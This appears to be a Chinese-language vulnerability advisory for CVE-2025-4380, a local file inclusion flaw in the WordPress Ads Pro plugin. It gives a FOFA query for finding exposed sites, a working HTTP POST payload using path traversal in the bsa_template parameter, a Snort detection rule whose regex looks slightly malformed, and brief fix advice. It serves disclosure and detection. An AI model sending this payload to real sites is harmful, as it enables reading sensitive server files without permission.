

WordPress-ads-pro-CVE-2025-4380-本地文件包含

WordPress-ads-pro-CVE-2025-4380-本地文件包含，该漏洞可能导致攻击者读取敏感文件、获取数据库信息，甚至执行恶意代码，严重威胁网站安全。

影响版本

WordPress-ads-pro

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/wp-content/plugins/ap-plugin-scripteo"

POC/EXP:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=bsa_preview_callback&bsa_template=../php/example
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"WordPress Ads Pro - LFI via bsa_preview_callback (CVE-2025-4380)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/wp-admin/admin-ajax.php"; http_uri;
  content:"action=bsa_preview_callback"; http_client_body;
  content:"bsa_template="; http_client_body;
  pcre:"/bsa_template=[^&]*\\.\\. (\\|/2f)/i";
  metadata:service http;
  metadata:cve,CVE-2025-4380;
  metadata:affected_product "WordPress Ads Pro Plugin";
  metadata:vulnerability_type "Local File Inclusion";
  classtype:web-application-attack;
  sid:1000302;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。